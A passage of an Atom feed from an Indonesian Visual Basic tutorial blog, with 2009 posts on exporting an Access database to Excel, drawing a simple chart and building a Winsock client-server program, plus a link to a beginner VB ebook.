width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-7974512973857972973</id><published>2009-04-18T09:16:00.003+07:00</published><updated>2009-04-18T09:44:16.093+07:00</updated><title type='text'>memindahkan database access ke excel</title><content type='html'>Materi kali ini penulis akan mengajak vbthok mania untuk membuat program yang bisa memindahkan isi database akses kedalam excel, mungkin ada diantara vbthok mania yang ingin membuat laporan dalam format excel dan datanya diambil dari database akses.Nah semoga artikel ini bermanfaat.&lt;br /&gt;Oke kalau begitu buat form dan desain seperti contoh berikut&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/Sek60G_ZUMI/AAAAAAAAAH4/vfX-5o_Rw4c/s1600-h/converter.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 299px; height: 400px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/Sek60G_ZUMI/AAAAAAAAAH4/vfX-5o_Rw4c/s400/converter.JPG" alt="" id="BLOGGER_PHOTO_ID_5325852701246443714" border="0" /&gt;&lt;/a&gt;komponen yang dibutuhkan :&lt;br /&gt;microsoft DAO 3.51 object library&lt;br /&gt;microsoft excel 10.0 object library&lt;br /&gt;microsoft common dialog control 6.0&lt;br /&gt;&lt;br /&gt;untuk scrip codenya sebagai berikut :&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;    Dim dbSR As Database&lt;br /&gt;    Dim rs As Recordset&lt;br /&gt;    Dim strcaption, sn&lt;br /&gt;    Dim Td As TableDef&lt;br /&gt;    Dim i As Single&lt;br /&gt;    Dim Recs As Integer, Counter As Integer&lt;br /&gt;    Dim Barstring As String, MdbFile As String&lt;br /&gt;    Dim Junk As String&lt;br /&gt;   &lt;br /&gt;    Private Type ExlCell&lt;br /&gt;        row As Long&lt;br /&gt;        col As Long&lt;br /&gt;    End Type&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;    Picture1.ForeColor = RGB(0, 0, 255)&lt;br /&gt;    On Error GoTo errhandler&lt;br /&gt;    CommonDialog1.Filter = "Access Files (*.mdb)"&lt;br /&gt;    CommonDialog1.FilterIndex = 0&lt;br /&gt;    CommonDialog1.FileName = "*.mdb"&lt;br /&gt;    CommonDialog1.ShowOpen&lt;br /&gt;    MdbFile = (CommonDialog1.FileName)&lt;br /&gt;&lt;br /&gt;    'set mdb file&lt;br /&gt;    Set dbSR = OpenDatabase(MdbFile)&lt;br /&gt;   &lt;br /&gt;    List1.Clear&lt;br /&gt;    For Each Td In dbSR.TableDefs&lt;br /&gt;        Junk = Td.Name&lt;br /&gt;        Junk = UCase(Junk)&lt;br /&gt;        If Left(Junk, 4) &lt;&gt; "MSYS" Then&lt;br /&gt;            List1.AddItem Td.Name&lt;br /&gt;        End If&lt;br /&gt;    Next&lt;br /&gt;    Frame1.Visible = True&lt;br /&gt;&lt;br /&gt;    Exit Sub&lt;br /&gt;errhandler:&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;    On Error Resume Next&lt;br /&gt;    dbSR.Close&lt;br /&gt;    Set dbSR = Nothing&lt;br /&gt;    End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub List1_Click()&lt;br /&gt;    On Error GoTo errortrapper&lt;br /&gt;    Screen.MousePointer = vbHourglass&lt;br /&gt;&lt;br /&gt;    Junk = List1.Text&lt;br /&gt;    Set rs = dbSR.OpenRecordset(Junk, dbOpenDynaset)&lt;br /&gt;    Call ToExcel(rs, "C:\wk.xls")&lt;br /&gt;    GoTo skiperrortrapper&lt;br /&gt;errortrapper:&lt;br /&gt;    Beep&lt;br /&gt;    Screen.MousePointer = vbDefault&lt;br /&gt;    MsgBox "This is a system file" &amp;amp; Chr(10) &amp;amp; "and is not accessible."&lt;br /&gt;skiperrortrapper:&lt;br /&gt;    Screen.MousePointer = vbDefault&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub CopyRecords(rs As Recordset, ws As Worksheet, _&lt;br /&gt;    StartingCell As ExlCell)&lt;br /&gt;    Dim SomeArray() As Variant&lt;br /&gt;    Dim row As Long, col As Long&lt;br /&gt;    Dim fd As Field&lt;br /&gt;    If rs.EOF And rs.BOF Then Exit Sub&lt;br /&gt;    rs.MoveLast&lt;br /&gt;    ReDim SomeArray(rs.RecordCount + 1, rs.Fields.Count)&lt;br /&gt;    col = 0&lt;br /&gt;&lt;br /&gt;    For Each fd In rs.Fields&lt;br /&gt;        SomeArray(0, col) = fd.Name&lt;br /&gt;        col = col + 1&lt;br /&gt;    Next&lt;br /&gt;    rs.MoveFirst&lt;br /&gt;    Recs = rs.RecordCount&lt;br /&gt;    Counter = 0&lt;br /&gt;   &lt;br /&gt;    For row = 1 To rs.RecordCount - 1&lt;br /&gt;        Counter = Counter + 1&lt;br /&gt;        If Counter &lt;= Recs Then i = (Counter / Recs) * 100&lt;br /&gt;        UpdateProgress Picture1, i&lt;br /&gt;        For col = 0 To rs.Fields.Count - 1&lt;br /&gt;            SomeArray(row, col) = rs.Fields(col).Value&lt;br /&gt;            If IsNull(SomeArray(row, col)) Then _&lt;br /&gt;            SomeArray(row, col) = ""&lt;br /&gt;        Next&lt;br /&gt;        rs.MoveNext&lt;br /&gt;    Next&lt;br /&gt;    ws.Range(ws.Cells(StartingCell.row, StartingCell.col), _&lt;br /&gt;    ws.Cells(StartingCell.row + rs.RecordCount + 1, _&lt;br /&gt;    StartingCell.col + rs.Fields.Count)).Value = SomeArray&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub ToExcel(sn As Recordset, strcaption As String)&lt;br /&gt;    Dim oExcel As Object&lt;br /&gt;    Dim objExlSht As Object ' OLE automation object&lt;br /&gt;    Dim stCell As ExlCell&lt;br /&gt;&lt;br /&gt;    DoEvents&lt;br /&gt;        On Error Resume Next&lt;br /&gt;        Set oExcel = GetObject(, "Excel.Application")&lt;br /&gt;         If Err = 429 Then&lt;br /&gt;            Err = 0&lt;br /&gt;            Set oExcel = CreateObject("Excel.Application")&lt;br /&gt;            If Err = 429 Then&lt;br /&gt;                MsgBox Err &amp;amp; ": " &amp;amp; Error, vbExclamation + vbOKOnly&lt;br /&gt;                Exit Sub&lt;br /&gt;            End If&lt;br /&gt;        End If&lt;br /&gt;        oExcel.Workbooks.Add&lt;br /&gt;        oExcel.Worksheets("sheet1").Name = strcaption&lt;br /&gt;        Set objExlSht = oExcel.ActiveWorkbook.Sheets(1)&lt;br /&gt;        stCell.row = 1&lt;br /&gt;        stCell.col = 1&lt;br /&gt;        CopyRecords sn, objExlSht, stCell&lt;br /&gt;        oExcel.Visible = True&lt;br /&gt;        oExcel.Interactive = True&lt;br /&gt;        Set objExlSht = Nothing&lt;br /&gt;        Set oExcel = Nothing&lt;br /&gt;        Set sn = Nothing&lt;br /&gt;    End Sub&lt;br /&gt;&lt;br /&gt;Sub UpdateProgress(PB As Control, ByVal percent)&lt;br /&gt;    Dim num$&lt;br /&gt;    If Not PB.AutoRedraw Then&lt;br /&gt;        PB.AutoRedraw = -1&lt;br /&gt;    End If&lt;br /&gt;    PB.Cls&lt;br /&gt;    PB.ScaleWidth = 100&lt;br /&gt;    PB.DrawMode = 10&lt;br /&gt;    num$ = Barstring &amp;amp; Format$(percent, "###") + "%"&lt;br /&gt;    PB.CurrentX = 50 - PB.TextWidth(num$) / 2&lt;br /&gt;    PB.CurrentY = (PB.ScaleHeight - PB.TextHeight(num$)) / 2&lt;br /&gt;    PB.Print num$&lt;br /&gt;    PB.Line (0, 0)-(percent, PB.ScaleHeight), , BF&lt;br /&gt;    PB.Refresh&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Untuk source codenya silakan donlot &lt;a href="http://www.ziddu.com/download/4344226/converterdatabase.zip.html"&gt;disini&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-7974512973857972973?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/7974512973857972973/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=7974512973857972973' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7974512973857972973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7974512973857972973'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/04/memindahkan-database-access-ke-excel.html' title='memindahkan database access ke excel'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eGS0YABgxQo/Sek60G_ZUMI/AAAAAAAAAH4/vfX-5o_Rw4c/s72-c/converter.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8106766694270135958</id><published>2009-04-02T21:42:00.004+07:00</published><updated>2009-04-02T22:03:14.126+07:00</updated><title type='text'>Membuat grafik atau chart sederhana</title><content type='html'>Grafik atau chart terkadang bisa dijadikan acuan untuk melihat perkembangan suatu barang atau produk, dll. Dengan grafik atau chart orang bisa dengan mudah mengambil kesimpulan tentang perbandingan yang ada.&lt;br /&gt;Nah untuk itu kali ini penulis mencoba mengajak vbthok mania untuk membuat grafik atau chart sederhana tentang perkembangan kendaraan yang sering digunakan.Dari sini mungkin vbthok mania bisa mengembangkan lagi ke grafik2 yang lain tentunya lebih spesifik lagi.&lt;br /&gt;Berikut contoh grafik yang sudah penulis buat&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/SdTQ4UZsYWI/AAAAAAAAAHw/WouUsP4aZ9M/s1600-h/chart.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 387px; height: 400px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/SdTQ4UZsYWI/AAAAAAAAAHw/WouUsP4aZ9M/s400/chart.GIF" alt="" id="BLOGGER_PHOTO_ID_5320106725799125346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;componen yang dibutuhkan adalah picturebox1, timer, label, textbox, commandbutton&lt;br /&gt;desain sesuai contoh diatas atau sesuai dengan selera vbthok mania&lt;br /&gt;kemudian masukkan script code dibawah ini kedalam form&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;&lt;br /&gt;Picture1.Cls&lt;br /&gt;Text2.Text = 5000 - Val(TextA)&lt;br /&gt;Text3.Text = 5000 - Val(TextB)&lt;br /&gt;Text4.Text = 5000 - Val(TextC)&lt;br /&gt;Text5.Text = 5000 - Val(TextD)&lt;br /&gt;Text6.Text = 5000 - Val(TextE)&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;For i = 1 To 1500&lt;br /&gt;Picture1.Line (0 + i, Text2.Text)-(0 + i, Picture1.Height), vbRed&lt;br /&gt;Picture1.Line (1500 + i, Text3.Text)-(1500 + i, Picture1.Height), vbGreen&lt;br /&gt;Picture1.Line (3000 + i, Text4.Text)-(3000 + i, Picture1.Height), vbBlue&lt;br /&gt;Picture1.Line (4500 + i, Text5.Text)-(4500 + i, Picture1.Height), vbYellow&lt;br /&gt;Picture1.Line (6000 + i, Text6.Text)-(6000 + i, Picture1.Height), vbMagenta&lt;br /&gt;Next i&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;mudah bukan?? kalo ada ingin program jadinya silakan donlot &lt;a href="http://www.ziddu.com/download/4123216/Chart.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8106766694270135958?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8106766694270135958/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8106766694270135958' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8106766694270135958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8106766694270135958'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/04/membuat-grafik-atau-chart-sederhana.html' title='Membuat grafik atau chart sederhana'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/SdTQ4UZsYWI/AAAAAAAAAHw/WouUsP4aZ9M/s72-c/chart.GIF' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8680075802543051427</id><published>2009-03-16T08:37:00.008+07:00</published><updated>2009-03-16T09:17:38.582+07:00</updated><title type='text'>Membuat program client server menggunakan acces</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style=";font-family:&amp;quot;;color:black;"   lang="EN-US"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Server Side &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="letter-spacing: -0.05pt;color:black;"  lang="EN-US"&gt;&lt;span style=""&gt;    &lt;/span&gt;Tambahkan component Microsoft Winsock Control , Microsoft ADO Data&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="letter-spacing: -0.05pt;color:black;"  lang="EN-US"&gt; Control dan Microsoft DataGrid&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"Times New Roman Bold"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-format:other; 	mso-font-pitch:auto; 	mso-font-signature:3 0 0 0 1 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman"; 	mso-ansi-language:EN-US; 	mso-fareast-language:EN-US;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/Sb2wCLaePKI/AAAAAAAAAHI/dkRTsE7nsWw/s1600-h/untitled.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 356px; height: 358px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/Sb2wCLaePKI/AAAAAAAAAHI/dkRTsE7nsWw/s400/untitled.bmp" alt="" id="BLOGGER_PHOTO_ID_5313596686837103778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman"; 	mso-ansi-language:EN-US; 	mso-fareast-language:EN-US;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style="letter-spacing: -0.15pt;color:black;"  lang="EN-US"&gt;Buat design layout&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/Sb2w3ZGYs7I/AAAAAAAAAHQ/QsH06p3tGaY/s1600-h/untitled2.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 383px; height: 400px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/Sb2w3ZGYs7I/AAAAAAAAAHQ/QsH06p3tGaY/s400/untitled2.bmp" alt="" id="BLOGGER_PHOTO_ID_5313597601044018098" border="0" /&gt;&lt;/a&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Cgw_mlg%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman"; 	mso-ansi-language:EN-US; 	mso-fareast-language:EN-US;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style="letter-spacing: -0.15pt;color:black;"  lang="EN-US"&gt;&lt;span style=""&gt; &lt;/span&gt;Isi tombol connect dengan script dibawah ini&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/Sb2yJxW_qYI/AAAAAAAAAHY/2GFLoeH7fnQ/s1600-h/untitled3.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 373px; height: 400px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/Sb2yJxW_qYI/AAAAAAAAAHY/2GFLoeH7fnQ/s400/untitled3.bmp" alt="" id="BLOGGER_PHOTO_ID_5313599016305404290" border="0" /&gt;&lt;/a&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Cgw_mlg%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"Times New Roman Bold"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-format:other; 	mso-font-pitch:auto; 	mso-font-signature:3 0 0 0 1 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman"; 	mso-ansi-language:EN-US; 	mso-fareast-language:EN-US;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style="font-weight: bold;color:black;"  lang="EN-US"&gt;•&lt;/span&gt;&lt;span style="font-weight: bold;font-family:Arial;color:black;"   lang="EN-US"&gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;color:black;"   lang="EN-US"&gt;&lt;span style="font-weight: bold;"&gt;  Client Side&lt;br /&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;Tambahkan component Microsoft WinSock Control pada tool bar, kemudian buat layout seperti desain dibawah ini&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/Sb2z6yonbbI/AAAAAAAAAHg/jmh1hy7muck/s1600-h/untitled4.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 206px; height: 400px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/Sb2z6yonbbI/AAAAAAAAAHg/jmh1hy7muck/s400/untitled4.bmp" alt="" id="BLOGGER_PHOTO_ID_5313600957972966834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="margin: 0in 80.2pt 0.0001pt 126.95pt; line-height: 14pt;"&gt;&lt;span style="letter-spacing: -0.2pt;color:black;"  lang="EN-US"&gt; &lt;span style=""&gt;     &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;     &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8680075802543051427?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8680075802543051427/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8680075802543051427' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8680075802543051427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8680075802543051427'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/03/membuat-program-client-server.html' title='Membuat program client server menggunakan acces'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eGS0YABgxQo/Sb2wCLaePKI/AAAAAAAAAHI/dkRTsE7nsWw/s72-c/untitled.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-2819171721605796737</id><published>2009-03-10T12:48:00.005+07:00</published><updated>2009-03-10T13:10:45.089+07:00</updated><title type='text'>Ebook VB untuk pemula</title><content type='html'>Mungkin diantara vbthok mania yang masih pemula bingung mau belajar visual basic tapi belum mengerti tentang apa dan bagaimana visual basic, nah sedangkan mau beli buku uang pas2an,hehehe memang buku komputer harganya lumayan mahal...&lt;br /&gt;Ada juga dari temen vbthok yang kasih comment minta dijelasin step by step. So penulis ingin memberikan alternatif buat belajar visual basic melalui ebook, kali ini penulis mengutip dari tulisan mas khrisna dari situs ilmu komputer untuk di share bagi yang ingin belajar visual basic dari awal silakan donload ebooknya &lt;a href="http://www.ziddu.com/download/3806149/krisna-vb6-05.zip.html"&gt;disini&lt;/a&gt;&lt;br /&gt;Selamat belajar semoga bermanfaat....Semangat!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-2819171721605796737?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/2819171721605796737/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=2819171721605796737' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2819171721605796737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2819171721605796737'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/03/ebook-vb-untuk-pemula.html' title='Ebook VB untuk pemula'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image 